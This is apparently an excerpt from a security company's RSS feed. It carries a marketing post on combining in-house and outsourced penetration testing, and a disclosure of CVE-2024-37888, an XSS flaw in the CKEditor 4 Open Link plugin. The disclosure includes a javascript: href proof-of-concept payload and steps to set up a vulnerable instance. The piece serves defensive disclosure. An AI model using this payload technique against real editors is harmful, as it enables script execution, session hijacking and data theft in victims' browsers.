<p>Balancing in-house and third-party <a href="https://www.netspi.com/netspi-ptaas/" target="_blank" rel="noreferrer noopener">penetration testing</a> involves weighing control and customization against scalability and specialized skills. In-house teams offer deep organizational knowledge and build a culture of security internally, but they can be costly. Outsourcing pentesting to a third-party provides access to expert talent, flexibility, and cost-effectiveness, but may pose quality and dependency risks. Effective pentesting programs often combine both approaches to optimize resources and manage fluctuating demands. Selecting the right provider depends on their quality, engagement process, flexibility, and additional advantages.</p>



<h2 class="wp-block-heading" id="h-introduction-nbsp">Introduction&nbsp;</h2>



<p>Penetration testing is a critical practice for any organization serious about cybersecurity. But I&#8217;ve seen the debate between insourcing and outsourcing these crucial efforts go on for years. While many security teams have talented in-house pentesting specialists, I&#8217;ve found that the most effective approach often involves both in-house expertise and third-party penetration testers.&nbsp;</p>



<p>This hybrid model offers the flexibility and scalability necessary to create a robust and dynamic penetration testing program. Here&#8217;s why I believe that integrating both in-house and third-party penetration testing can produce superior results.&nbsp;</p>



<div class="wp-block-uagb-image uagb-block-1bcf00c8 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Table.webp ,https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Table.webp 780w, https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Table.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Table.webp" alt="" class="uag-image-25371" width="1201" height="476" title="082924_EXEC_In-House vs Outsource PTaaS Providers Nabil_Table" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-the-value-of-in-house-penetration-testing-nbsp">The Value of In-House Penetration Testing&nbsp;</h2>



<h3 class="wp-block-heading" id="h-deep-organizational-knowledge-nbsp">Deep Organizational Knowledge&nbsp;</h3>



<p>In-house penetration testers have the advantage of being deeply embedded within the organization. They possess a thorough understanding of the company’s internal systems, applications, and overall business context. This familiarity enables them to identify vulnerabilities that might be overlooked by external testers who lack this nuanced perspective.&nbsp;</p>



<h3 class="wp-block-heading" id="h-consistent-collaboration-nbsp">Consistent Collaboration&nbsp;</h3>



<p>Another benefit of in-house testers is the ability to build strong relationships with various teams within the organization. Frequent interactions with development, network, and cloud teams foster a culture of security, helping it become part of the organization&#8217;s culture.&nbsp;</p>



<h3 class="wp-block-heading" id="h-immediate-availability-nbsp">Immediate Availability&nbsp;</h3>



<p>In-house teams are always on standby, ready to address urgent security needs. They can quickly respond to incidents, perform ad-hoc tests, and continuously monitor systems without the delays that might come with scheduling external testers.</p>



<div class="wp-block-uagb-image uagb-block-80aa1f89 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/resources/templates-and-checklists/web-application-penetration-testing-checklist/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad1.webp ,https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad1.webp 780w, https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad1.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad1.webp" alt="" class="uag-image-25373" width="1201" height="351" title="082924_EXEC_In-House vs Outsource PTaaS Providers Nabil_Ad1" loading="lazy" role="img"/></a></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-the-added-benefits-of-third-party-providers-nbsp">The Added Benefits of Third-Party Providers&nbsp;</h2>



<h3 class="wp-block-heading" id="h-scalability-and-flexibility-nbsp">Scalability and Flexibility&nbsp;</h3>



<p>One of the primary advantages I&#8217;ve found in outsourcing penetration testing is scalability. It&#8217;s difficult to predict the demand for testing, which can fluctuate based on system changes and development cycles. Third-party providers can easily scale their services to meet these unpredictable demands, adding testers for short bursts of intensive testing and scaling down during quieter periods.&nbsp;</p>



<h3 class="wp-block-heading" id="h-specialized-expertise-nbsp">Specialized Expertise&nbsp;</h3>



<p>Certain technologies require niche skills that are scarce in the industry. For example, I&#8217;ve found that finding <a href="https://www.netspi.com/netspi-ptaas/network-penetration-testing/mainframe/" target="_blank" rel="noreferrer noopener">mainframe penetration testers</a> is notoriously difficult. Third-party providers often have access to a broader pool of specialized talent that brings deep expertise when needed, without having to hire or train full-time employees for a niche requirement.&nbsp;</p>



<h3 class="wp-block-heading" id="h-fresh-perspectives-nbsp">Fresh Perspectives&nbsp;</h3>



<p>Third-party testers bring a fresh set of eyes to any security landscape. Continuous internal testing can lead to complacency, but external testers can offer new insights, approach problems differently, and identify vulnerabilities that in-house experts might miss due to familiarity.&nbsp;</p>



<h3 class="wp-block-heading" id="h-objectivity-and-compliance-nbsp">Objectivity and Compliance&nbsp;</h3>



<p>Third-party pentesting vendors play a crucial role in helping organizations meet various compliance requirements. Many regulatory frameworks, such as PCI DSS, <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/forgotten-hipaa-requirement/" target="_blank" rel="noreferrer noopener">HIPAA</a>, and GDPR, necessitate regular security assessments to ensure that sensitive data is adequately protected. By engaging external vendors, organizations can benefit from their specialized expertise and industry knowledge, ensuring that their pentesting processes align with compliance standards.</p>



<h2 class="wp-block-heading" id="h-the-power-of-a-hybrid-approach-nbsp">The Power of a Hybrid Approach&nbsp;</h2>



<h3 class="wp-block-heading" id="h-balancing-workload-nbsp">Balancing Workload&nbsp;</h3>



<p>A hybrid model allows organizations to balance the workload efficiently. In-house teams can handle regular, ongoing tasks while third-party providers tackle overflow work and special projects requiring unique skills. This ensures that all security needs are met without overburdening internal resources.&nbsp;</p>



<h3 class="wp-block-heading" id="h-comprehensive-coverage-nbsp">Comprehensive Coverage&nbsp;</h3>



<p>By combining in-house and third-party efforts, organizations achieve more comprehensive coverage. Internal testers offer detailed, context-aware insights, while external experts provide objective assessments and uncover hidden threats.&nbsp;</p>



<h3 class="wp-block-heading" id="h-quality-assurance-nbsp">Quality Assurance&nbsp;</h3>



<p>Having both in-house and third-party testers allows for quality assurance through A/B testing. Organizations can compare the findings of internal and external teams, ensuring that no vulnerabilities are missed and maintaining a high standard of security.&nbsp;</p>



<h3 class="wp-block-heading" id="h-selecting-a-penetration-testing-provider-nbsp">Selecting a Penetration Testing Provider&nbsp;</h3>



<p>When <a href="https://www.netspi.com/resources/ebooks-and-whitepapers/how-choose-best-penetration-testing-company/" target="_blank" rel="noreferrer noopener">choosing a third-party penetration testing provider</a>, it&#8217;s crucial to consider not only their technical capabilities, but also their engagement process. Look for providers who offer additional benefits like ease of collaboration, flexibility, and access to advanced technologies.&nbsp;</p>



<p><strong>Factors to consider: </strong>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li><strong>Quality of Testing:</strong> Ensure the provider has a track record of delivering high-quality <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/gut-check-are-you-getting-the-most-value-out-of-your-penetration-testing-report/" target="_blank" rel="noreferrer noopener">penetration testing reporting</a> and <a href="https://www.netspi.com/customer-stories/" target="_blank" rel="noreferrer noopener">proven results</a>.  </li>



<li><strong>Engagement Process: </strong>The provider should be easy to work with and offer a seamless engagement process. </li>



<li><strong>Flexibility and Scalability: </strong>The ability to scale resources based on your needs is vital. </li>



<li><strong>Related Services:</strong> Look for partners who offer value-added services, like integrated defect tracking systems and <a href="https://www.netspi.com/the-netspi-platform/" target="_blank" rel="noreferrer noopener">real-time access to test results</a>. </li>



<li><strong>Innovation in Tools and Tactics:</strong> Vendors that prioritize innovation are better positioned to stay up to date with current threat actor methods, identify weaknesses before they can be exploited, and ensure a proactive approach to safeguarding sensitive information. </li>



<li><strong>Strong Reputation:</strong> Word of mouth speaks volumes when looking for a pentesting provider. Ask around, read reviews, and dig into tough questions when evaluating a vendor to ensure they&#8217;ve proven their success. </li>
</ol>



<div class="wp-block-uagb-image uagb-block-4fa894a7 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/resources/ebooks-and-whitepapers/how-choose-best-penetration-testing-company/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad2.webp ,https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad2.webp 780w, https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad2.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/08/082924_EXEC_In-House-vs-Outsource-PTaaS-Providers-Nabil_Ad2.webp" alt="In-Blog Ad:  How to Choose a Penetration Testing Company" class="uag-image-25372" width="1201" height="351" title="082924_EXEC_In-House vs Outsource PTaaS Providers Nabil_Ad2" loading="lazy" role="img"/></a></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-addressing-potential-risks-nbsp">Addressing Potential Risks&nbsp;</h2>



<h3 class="wp-block-heading" id="h-retention-challenges-nbsp">Retention Challenges&nbsp;</h3>



<p>In-house teams face risks related to talent retention. Skilled penetration testers are highly sought after, and there&#8217;s always a risk of turnover. One way to mitigate this is by investing in continuous learning (give <a href="https://www.netspi.com/blog/technical-blog/" target="_blank" rel="noreferrer noopener">NetSPI’s Hack Responsibly blog</a> a read) and career advancement opportunities to keep the team engaged and motivated.&nbsp;</p>



<h3 class="wp-block-heading" id="h-quality-assurance-in-outsourcing-nbsp">Quality Assurance in Outsourcing&nbsp;</h3>



<p>When relying on third-party providers, ensuring the quality of their work is crucial. Organizations should conduct thorough vetting processes and establish clear contracts that outline expectations, quality metrics, and deliverables. Regular feedback loops and performance reviews can help maintain high standards.&nbsp;</p>



<h3 class="wp-block-heading" id="h-cost-considerations-nbsp">Cost Considerations&nbsp;</h3>



<p>Both insourcing and outsourcing come with financial considerations beyond salaries. In-house teams require ongoing training and resources, while third-party providers&#8217; costs depend on the scope and frequency of their engagements. A hybrid model allows for more predictable budgeting by balancing fixed and variable costs.&nbsp;</p>



<h2 class="wp-block-heading" id="h-final-thoughts-nbsp">Final Thoughts&nbsp;</h2>



<p>We all know that no single approach fits all. The optimal <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/penetration-testing-security/" target="_blank" rel="noreferrer noopener">penetration testing strategy</a> often involves a blend of in-house expertise and third-party specialization. This hybrid model not only enhances flexibility and scalability but also ensures that your organization benefits from diverse expertise and fresh perspectives.&nbsp;</p>



<p>By strategically combining the strengths of both in-house and outsourced resources, you can build a penetration testing program that is not only robust but also adaptable and capable of meeting the evolving demands of cybersecurity.&nbsp;</p>



<p>Ready to take your pentesting to the next level? Explore <a href="https://www.netspi.com/the-netspi-platform/" target="_blank" rel="noreferrer noopener">The NetSPI Platform</a>, designed to provide you with unparalleled visibility and flexibility in managing your proactive security testing program. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Request a demo</a> today and experience the future of pentesting.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/in-house-vs-third-party-penetration-testing/">The Balancing Act of In-House vs Third-Party Penetration Testing</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2024-37888 – CKEditor 4 Open Link plugin XSS</title>
		<link>https://www.netspi.com/blog/technical-blog/web-application-pentesting/cve-2024-37888-ckeditor-4/</link>
		
		<dc:creator><![CDATA[Anurag Mondal]]></dc:creator>
		<pubDate>Tue, 27 Aug 2024 12:00:00 +0000</pubDate>
				<category><![CDATA[Web Application Pentesting]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25306</guid>

					<description><![CDATA[<p>NetSPI discovered CVE-2024-37888, a cross-site scripting (XSS) vulnerability in the CKEditor 4 Open Link plugin. Read about the nature of the vulnerability and its implications.</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/web-application-pentesting/cve-2024-37888-ckeditor-4/">CVE-2024-37888 – CKEditor 4 Open Link plugin XSS</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>At NetSPI, our mission is to uncover and mitigate security vulnerabilities before they can be exploited. This blog post explores the discovery of <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-37888" target="_blank" rel="noreferrer noopener">CVE-2024-37888</a>, a cross-site scripting (XSS) vulnerability in the <a href="https://ckeditor.com/cke4/addon/openlink" target="_blank" rel="noreferrer noopener">CKEditor 4 Open Link plugin</a>. We&#8217;ll discuss the nature of this vulnerability, how it was discovered, and its implications.&nbsp;</p>



<h2 class="wp-block-heading" id="h-what-is-cve-2024-37888-nbsp">What is CVE-2024-37888?&nbsp;</h2>



<p>CVE-2024-37888 is a vulnerability affecting the Open Link plugin in CKEditor 4, a widely used “what you see is what you get” (WYSIWYG) editor. This flaw allows an attacker to execute arbitrary JavaScript code in the user&#8217;s browser, bypassing the library&#8217;s sanitization mechanisms. The successful exploitation of this vulnerability needs direct user interaction where an attacker can mislead/manipulate a victim into injecting code into the CKEditor workspace.&nbsp;</p>



<p>Discovered during a NetSPI client engagement, this issue was initially suspected to be an application-specific problem. Further investigation revealed that it was a previously unknown flaw in the Open Link plugin for CKEditor 4.&nbsp;</p>



<ul class="wp-block-list">
<li>Note that this vulnerability exists within the codebase of the <a href="https://github.com/mlewand/ckeditor-plugin-openlink" target="_blank" rel="noreferrer noopener">Open Link</a> plugin, not CKEditor 4 itself.</li>



<li>Affected version: <a href="https://ckeditor.com/cke4/addon/openlink" target="_blank" rel="noreferrer noopener">Open Link Plugin (version &lt; 1.0.5)</a></li>



<li>The commit containing the vulnerable code can be found <a href="https://github.com/mlewand/ckeditor-plugin-openlink/commit/d98ca940715cf4fa425194e104dfa54a76c987af" target="_blank" rel="noreferrer noopener">here</a>.&nbsp;</li>
</ul>



<h2 class="wp-block-heading" id="h-the-discovery-story-nbsp">The Discovery Story&nbsp;</h2>



<p>The journey began with a pentest of an application utilizing CKEditor 4. During testing, it was noticed that links could be clicked within the editor space, contrary to the library&#8217;s intended behavior, which prevents it from clicking/opening hyperlinks directly inside the editor space. This anomaly led to further experimentation, revealing that the &#8220;href&#8221; attribute in link tags was not being properly sanitized.&nbsp;</p>



<p>By using a payload like <code data-enlighter-language="generic" class="EnlighterJSRAW">&lt;a href="javascript:alert('XSS Found')"&gt;XSS&lt;/a&gt;</code>, a DOM XSS was triggered. Initially, it seemed this might be an existing vulnerability in the older CKEditor version in use. However, no similar CVEs were found, prompting a deeper investigation.&nbsp;</p>



<p>A custom configuration file, <code data-enlighter-language="generic" class="EnlighterJSRAW">config.js</code>, was discovered and examined in the client-side scripts. It contained the following lines:&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">config.extraPlugins = 'openlink'; 
 config.openlink_modifier = 0; // No modifier for opening links</pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<p>These lines enabled the Open Link plugin, allowing links to be opened in new tabs from the editable area. Testing with the latest versions of CKEditor 4 and the Open Link plugin confirmed that the XSS vulnerability existed even in the latest versions.&nbsp;</p>



<h2 class="wp-block-heading" id="h-exploitation-steps-nbsp">Exploitation Steps&nbsp;</h2>



<p>Below are the complete prerequisites and reproduction steps for CVE-2024-37888.&nbsp;</p>



<h3 class="wp-block-heading" id="h-prerequisites-nbsp"><em>Prerequisites</em>&nbsp;</h3>



<ol start="1" class="wp-block-list">
<li><strong>CKEditor (version 4.*.*)</strong>: <a href="https://ckeditor.com/ckeditor-4/download/#ckeditor-4" target="_blank" rel="noreferrer noopener">Download</a>&nbsp;</li>



<li><strong>Open Link Plugin (version &lt; 1.0.5)</strong>: <a href="https://download.ckeditor.com/openlink/releases/openlink_1.0.4.zip" target="_blank" rel="noreferrer noopener">Download</a>&nbsp;</li>
</ol>



<h3 class="wp-block-heading" id="h-reproduction-steps-nbsp"><em>Reproduction Steps</em>&nbsp;</h3>



<p>This vulnerability can be reproduced using the pre-configured CKEditor 4 instance available here: <a href="https://7ragnarok7.github.io/CVE-2024-37888/" target="_blank" rel="noreferrer noopener">https://7ragnarok7.github.io/CVE-2024-37888/</a>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li><strong>Insert Payload</strong>:&nbsp;
<ul class="wp-block-list">
<li>Open the CKEditor instance and click on the &#8220;Source&#8221; icon.</li>



<li>Insert the following payload in the text area: <br><code data-enlighter-language="generic" class="EnlighterJSRAW">&lt;a href="javascript:alert('XSS Found')">XSS&lt;/a></code></li>
</ul>
</li>
</ol>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="450" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-1024x450.webp" alt="" class="wp-image-25308" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-1024x450.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-300x132.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-768x338.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-1536x675.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture1-2048x900.webp 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="2" class="wp-block-list">
<li><strong>Switch to WYSIWYG Mode</strong>:&nbsp;
<ul class="wp-block-list">
<li>Click on the &#8220;Source&#8221; icon again to switch back to the WYSIWYG mode.</li>



<li>Observe that the hyperlink becomes clickable inside the editor.&nbsp;</li>
</ul>
</li>
</ol>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="534" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-1024x534.webp" alt="" class="wp-image-25309" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-1024x534.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-300x156.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-768x400.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-1536x800.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture2-2048x1067.webp 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="3" class="wp-block-list">
<li><strong>Trigger XSS</strong>:&nbsp;
<ul class="wp-block-list">
<li>Click on the hyperlink within the editor.</li>



<li>Observe that the XSS payload is triggered, resulting in an alert box in a new tab.</li>
</ul>
</li>
</ol>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="596" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-1024x596.webp" alt="" class="wp-image-25310" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-1024x596.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-300x174.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-768x447.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-1536x893.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture3-2048x1191.webp 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<h3 class="wp-block-heading" id="h-setup-instructions-nbsp"><em>Setup Instructions</em>&nbsp;</h3>



<p>You can set up a local instance to test this vulnerability by following these steps:&nbsp;</p>



<ol start="1" class="wp-block-list">
<li><strong>Download CKEditor 4</strong>:&nbsp;
<ul class="wp-block-list">
<li>Download the Full-Package Open-Source edition of <a href="https://ckeditor.com/ckeditor-4/download/#ckeditor-4" target="_blank" rel="noreferrer noopener">CKEditor 4</a>.&nbsp;</li>
</ul>
</li>
</ol>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="644" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-1024x644.webp" alt="" class="wp-image-25311" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-1024x644.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-300x189.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-768x483.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-1536x966.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture4-2048x1288.webp 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="2" class="wp-block-list">
<li><strong>Install Open Link Plugin</strong>:&nbsp;
<ul class="wp-block-list">
<li>Download the Open Link plugin version 1.0.4 from <a href="https://download.ckeditor.com/openlink/releases/openlink_1.0.4.zip" target="_blank" rel="noreferrer noopener">here</a>.</li>



<li>Extract and place the contents into the <code data-enlighter-language="generic" class="EnlighterJSRAW">ckeditor/plugins/openlink</code> directory.&nbsp;</li>
</ul>
</li>
</ol>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="462" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture5.webp" alt="" class="wp-image-25312" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture5.webp 996w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture5-300x139.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture5-768x356.webp 768w" sizes="(max-width: 996px) 100vw, 996px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="3" class="wp-block-list">
<li><strong>Update Configuration to Include OpenLink plugin</strong>:&nbsp;
<ul class="wp-block-list">
<li>Modify the <code data-enlighter-language="generic" class="EnlighterJSRAW">config.js</code> file of CKEditor by appending the following lines to the end:&nbsp;</li>
</ul>
</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">config.extraPlugins = 'openlink'; 
config.linkShowTargetTab = false; // Hide link target tab 
config.openlink_modifier = 0; // No modifier for opening links 
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode</pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ul class="wp-block-list">
<li>Example <code data-enlighter-language="generic" class="EnlighterJSRAW">config.js</code>:</li>
</ul>



<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">CKEDITOR.editorConfig = function( config ) { 
    // Define changes to default configuration here. 
    config.extraPlugins = 'openlink'; 
    config.linkShowTargetTab = false; 
    config.openlink_modifier = 0; 
    config.openlink_enableReadOnly = true; 
}; </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="4" class="wp-block-list">
<li><strong>Include CKEditor in HTML</strong>:&nbsp;
<ul class="wp-block-list">
<li>Ensure the CKEditor library is included in your HTML file.&nbsp;</li>
</ul>
</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;!DOCTYPE html> 
&lt;html> 
&lt;head> 
    &lt;script src="path/to/ckeditor/ckeditor.js">&lt;/script> 
&lt;/head> 
&lt;body> 
    &lt;textarea name="editor1" id="editor1">&lt;/textarea> 
    &lt;script> 
        CKEDITOR.replace('editor1'); 
    &lt;/script> 
&lt;/body> 
&lt;/html> </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="318" src="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-1024x318.webp" alt="" class="wp-image-25313" srcset="https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-1024x318.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-300x93.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-768x238.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-1536x477.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/08/082724_TECH_CVE-2024-37888_Picture6-2048x636.webp 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-conclusion-nbsp"><strong>Conclusion</strong>&nbsp;</h2>



<p>The fix for this vulnerability is available starting with Open Link version <strong>1.0.5</strong>. It is strongly advised that the Open Link plugin be updated to <strong>1.0.5</strong> or above as soon as possible.&nbsp;</p>



<p>The official advisory by the Open Link plugin maintainer can be found <a href="https://github.com/mlewand/ckeditor-plugin-openlink/security/advisories/GHSA-rhxf-gvmh-hrxm" target="_blank" rel="noreferrer noopener">here</a>.&nbsp;</p>



<h3 class="wp-block-heading" id="h-why-does-it-matter-nbsp">Why Does It Matter?&nbsp;</h3>



<p>This vulnerability is significant because it highlights an oversight in a widely used editor. An attacker could exploit this flaw to execute arbitrary JavaScript in the victim&#8217;s browser, leading to various malicious activities such as session hijacking, defacement, or data theft.&nbsp;</p>



<p>The discovery also underscores the importance of scrutinizing even well-established libraries and plugins. In this case, the combination of a popular editor and a lesser-known plugin created a security gap that had gone unnoticed.&nbsp;</p>



<p>The discovery of CVE-2024-37888 serves as a reminder of the ever-present need for vigilance in software security. It also emphasizes the value of thorough testing and exploration when assessing applications. For more details on this vulnerability, check out the following resources:&nbsp;</p>



<ul class="wp-block-list">
<li><a href="https://github.com/7Ragnarok7/CVE-2024-37888" target="_blank" rel="noreferrer noopener">GitHub Exploit: CVE-2024-37888</a>&nbsp;</li>



<li><a href="https://github.com/mlewand/ckeditor-plugin-openlink/security/advisories/GHSA-rhxf-gvmh-hrxm" target="_blank" rel="noreferrer noopener">Official Advisory</a>&nbsp;</li>



<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-37888" target="_blank" rel="noreferrer noopener">NVD Entry</a>&nbsp;</li>



<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37888" target="_blank" rel="noreferrer noopener">MITRE CVE Database</a>&nbsp;</li>



<li><a href="https://www.cvedetails.com/cve/CVE-2024-37888/?q=CVE-2024-37888" target="_blank" rel="noreferrer noopener">CVE Details</a>&nbsp;</li>
</ul>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/netspi-ptaas/application-penetration-testing/web-application/"><img loading="lazy" decoding="async" width="1024" height="256" src="https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting-1024x256.webp" alt="" class="wp-image-25324" srcset="https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting-1024x256.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting-300x75.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting-768x192.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting.webp 1201w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/web-application-pentesting/cve-2024-37888-ckeditor-4/">CVE-2024-37888 – CKEditor 4 Open Link plugin XSS</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
